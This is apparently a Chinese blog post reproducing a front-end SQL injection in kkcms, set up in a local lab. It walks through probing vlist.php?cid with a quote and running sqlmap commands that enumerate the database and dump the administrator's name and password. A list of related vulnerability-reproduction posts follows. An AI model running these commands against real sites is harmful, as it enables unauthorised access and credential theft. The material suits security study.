kkcms前台sql注入漏洞复现

安装kkcms

漏洞复现

安装kkcms

下载kkcms地址：

https://github.com/https://github.com/

浏览器访问主机ip/kkcms-master/install

按照提示傻瓜式安装，中间填一下数据库名和数据库账号密码。

漏洞复现

寻找漏洞点，浏览器访问主机ip/kkcms-master/vlist.php?cid=1。我这里是把文件名kkcms-master改成kkcms才这么搜，默认文件名是kkcms-master，你也可以跟着我这样子改，按照实际情况来。

访问后，有回显。

在URL后面加一个单引号，没有回显

用sqlmap来跑网站数据库的数据。获取数据库所有库的名称：sqlmap.py -u "http://192.168.1.36/kkcms/vlist.php?cid=1" --dbs

获取当前使用的数据库名称sqlmap.py -u "http://192.168.1.36/kkcms/vlist.php?cid=1" --current -db。跑出来了当前使用的数据库名称是kkcms。

获取kkcms库下的表sqlmap.py -u "http://192.168.1.36/kkcms/vlist.php?cid=1" -D "kkcms" –tables。跑出来了有21个表。

获取xtcms_manager 表中的字段sqlmap.py -u "http://192.168.1.36/kkcms/vlist.php?cid=1" -D "kkcms" -T "xtcms_manager" --columns

查看m_name和m_password字段下的数据sqlmap.py -u "http://192.168.1.36/kkcms/vlist.php?cid=1" -D "kkcms" -T "xtcms_manager" -C "m_name,m_password" -dump。跑出来了网站管理员的用户名和密码。智能得很，还解密了。这是默认的后台登陆账号密码。

想看看其他表里的数据也可以，不过新建的大多都是没有数据，而有数据的也没什么价值，所以选择了xtcms_manager 这个表。

完

kkcms前台sql注入漏洞复现相关推荐

espcms5.7.13 sql注入漏洞复现
espcms5.7.13 sql注入漏洞复现作者: admin 时间: 2021-06-28 分类: 漏洞复现使用代码审计工具自动审计,找到select语句,双击进入/adminsoft/cont ...
通达OA 11.5 SQL注入漏洞复现
0x00 漏洞描述通达OA 11.5存在sql注入 0x01 漏洞影响版本通达oa 11.5 0x02 漏洞复现 1.下载通达OA 11.5 https://cdndown.tongda2000. ...
泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现
漏洞描述泛微e-cology OA系统的WorkflowCenterTreeData接口在使用oracle数据库时,由于内置sql语句拼接不严,导致其存在sql注入漏洞影响范围使用oracle数 ...
宏景eHR SQL注入漏洞复现（CNVD-2023-08743）
0x01 产品简介宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合,满足动态化.协同化.流程化.战略化需求的软件. 0x02 漏洞概述宏景eHR 存在SQL注入漏洞,未经过身份认证的 ...
畅捷通T+ SQL注入漏洞复现（QVD-2023-13612）
0x01 产品简介畅捷通 T+ 是一款基于互联网的新型企业管理软件,功能模块包括:财务管理.采购管理.库存管理等.主要针对中小型工贸和商贸企业的财务业务一体化应用,融入了社交化.移动化.物联网.电子 ...
（CVE-2020-9483）ApacheSkyWalking SQL注入漏洞复现
漏洞信息漏洞名称 ApacheSkyWalking SQL注入漏洞漏洞编号 CVE-2020-9483 危害等级高危漏洞类型通用型漏洞漏洞厂商 Apache 漏洞概述当使用H2 / My ...
【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)
文章目录前言声明一.产品介绍二.漏洞描述三.影响范围四.漏洞分析五.漏洞复现六.SQLMAP漏洞利用七.修复方案前言泛微E-Cology v9 Browser.jsp 存在SQL ...
泛微e-cology9 SQL注入漏洞复现(QVD-2023-5012)
1.产品简介泛微协同管理应用平台e-cology是一套兼具企业信息门户.知识文档管理.工作流程管理.人力资源管理.客户关系管理.项目管理.财务管理.资产管理.供应链管理.数据中心功能的企业大型协同管 ...
泛微E-Cology SQL注入漏洞复现（QVD-2023-15672）
0x01 产品简介泛微协同管理应用平台e-cology是一套兼具企业信息门户.知识文档管理.工作流程管理.人力资源管理.客户关系管理.项目管理.财务管理.资产管理.供应链管理.数据中心功能的企业大型 ...

kkcms前台sql注入漏洞复现

kkcms前台sql注入漏洞复现相关推荐

最新文章

热门文章